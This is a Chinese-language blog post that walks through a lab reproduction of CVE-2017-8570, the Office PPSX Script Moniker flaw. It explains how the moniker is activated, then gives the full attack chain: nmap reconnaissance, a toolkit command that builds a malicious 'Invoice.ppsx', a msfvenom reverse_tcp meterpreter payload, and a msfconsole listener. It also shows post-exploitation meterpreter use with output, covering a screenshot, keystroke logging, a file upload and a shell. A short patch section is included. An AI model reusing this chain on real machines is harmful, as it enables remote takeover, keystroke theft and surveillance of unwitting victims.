CVE-2017-8570

漏洞复现

Posted by Waldo on June 27, 2018

引言

课题背景

Office作为当前市场占有率最高的办公软件,却常常被爆高危漏洞,其中编号为CVE-2017-8570的远程代码执行漏洞危害尤其之大。CVE-2017-8570是一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本。

CVE-2017-8570漏洞是利用复合Moniker绕过了CVE-2017-0199的补丁针对Script Moniker和URL Moniker相关classid的拦截,目前野外暂未发现攻击样本。

本课题的研究方法

① 理解“PPSX Script Moniker”漏洞——文件格式层面

② 了解漏洞成因

③ 学习解析Moniker字符串的知识

④ 学习Freemarker模板

⑤ 在Ubuntu系统环境下进行复现

⑥ 使用BurpSuite、Cknife工具对靶场进行渗透复现

漏洞测试影响软件

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2 (32-bit editions)

Microsoft Office 2010 Service Pack 2 (64-bit editions)

Microsoft Office 2013 RT Service Pack 1

Microsoft Office 2013 Service Pack 1 (32-bit editions)

Microsoft Office 2013 Service Pack 1 (64-bit editions)

Microsoft Office 2016 (32-bit edition)

Microsoft Office 2016 (64-bit edition)

漏洞测试环境

受害者(靶机)

操作系统: windows 7 sp1 x86

Office版本Office 专业增强版 2016

ip 192.168.89.129

攻击者

操作系统Kali Linux

ip192.168.89.134

相关知识和工具简介

“PPSX Script Moniker”漏洞——文件格式层面

① rId1”是一个被我们的” 魔术字符串”定义的OLE对象

1.png

② “rId1”被定义为一个“link”对象并且与尝试去执行OLE“Verb”动作的动画特性相关联

2.png

③ 解析Moniker字符串

“MkParseDisplayName()”被调用以将“魔术字符串”转换成一个Moniker对象

   object

   0:000> r  ……

   ole32!MkParseDisplayName:

   772ece79 8bff  mov edi,edi

   0:000> du poi(esp+4*2)

   0030ccc4   “script:http://server/test.sct

 事实上,在这里,第一个“:”之前的字符串是重要的

 scripthttp://server/test.sct

  这个过程有效小复杂,更多细节请阅读:

 https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx

④ 什么是“script”Moniker

4.png

CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC

Ø  这是给Windows脚本组件所用的moniker

Ø  如果你意识到了“脚本/小脚本”, “无需文件”的恶意代码..(@subtree & 其他人的工作)

Ø  https://github.com/subtee

⑤ 激活Moniker

Ø  然而,初始化“script” moniker事实上并不会让你“运行”内部的脚本

Ø  你仍然需要去“绑定”(“激活”)这个对象

  一个简单的实验可以证明该点

Ø  用“script:http://server/test.sct”作为参数调用MkParseDisplayName()并不会让你的代码得到执行(只有scrobj.dll这个moniker dll会被加载)

Ø  但是在初始化对象时调用BindToObject()会给你带来一切

Ø  这样一个“verb”动作执行尝试通过PowerPoint放映的“动画”特性去激活相关联的对象

Ø  IMoniker::BindToObject()被调用

Ø  不像“RTF URL Moniker”漏洞,被利用的进程起始于OLE API OleCreateLink(),而不是OleRun()

⑥ 对根本原因的总结

Ø  这个漏洞是由于monikers可以通过一个PowerPoint放映文件来初始化和激活这一事实

Ø  关键点在这里,在PowerPoint的动画特性中尝试去执行“verb”动作时激活了对象,这最终调用了moniker上的“BindToObject()”

Ø  Windows 脚本组件(“script” Moniker)被设计用来发现和运行脚本

Ø  无需来自另外OLE对象的帮助

6.png

环境设计

Office 2016增强版

考虑到现在大多数设备使用Office 2016版本,并且未打补丁,选用此版本更具代表性。

office2016.jpg

攻击机Kali Linux

集成众多渗透软件,便于使用

渗透流程复现与EXP分析

使用nmap确定渗透对象

nmap -sP 192.168.89.0/24

使用nmap确定渗透对象.jpg

使用nmap尝试远程识别靶机操作系统

nmap -O 192.168.89.129

使用nmap尝试远程识别靶机操作系统.jpg

生成恶意 PPSX 文件

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc

生成恶意 PPSX 文件.jpg

生成恶意的exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe

生成恶意的exe文件.jpg

生成监听模式,监听来自 ppsx 执行反弹 shell:(这里会自动启动 80 端口)

python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe

监听来自 ppsx 执行反弹.jpg

生成msf的监听

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"

生成msf的监听.jpg

将生成的恶意 Invoice.ppsx 文件复制到目标靶机 win7 系统,然后执行:

将恶意文件复制到win7.jpg

即可在msf反弹metertprter的shell出来:

在msf反弹shell.jpg

漏洞修复

  1. 不要打开任何来源不明的 Office ppt 文档

2.及时更新并安装微软 2017 年 7 月发布的最新补丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs

后续渗透

截图

meterpreter > screenshot

Screenshot saved to: /root/ccoDxgvg.jpeg

截图.jpg

键盘记录

meterpreter > keyscan_start # 开启键盘记录

Starting the keystroke sniffer...

meterpreter > keyscan_dump #查看键盘记录内容

Dumping captured keystrokes...

**

-[ C:\soft\SogouExplorer\SogouExplorer.exe

-[ @ 2017年8月13日  4:07:31 UTC

**

<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>

meterpreter > keyscan_stop #关闭键盘记录

上传文件

meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop

上传文件1.jpg 上传文件2.jpg

shell

meterpreter > shell

shell 顾名思义就是shell了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。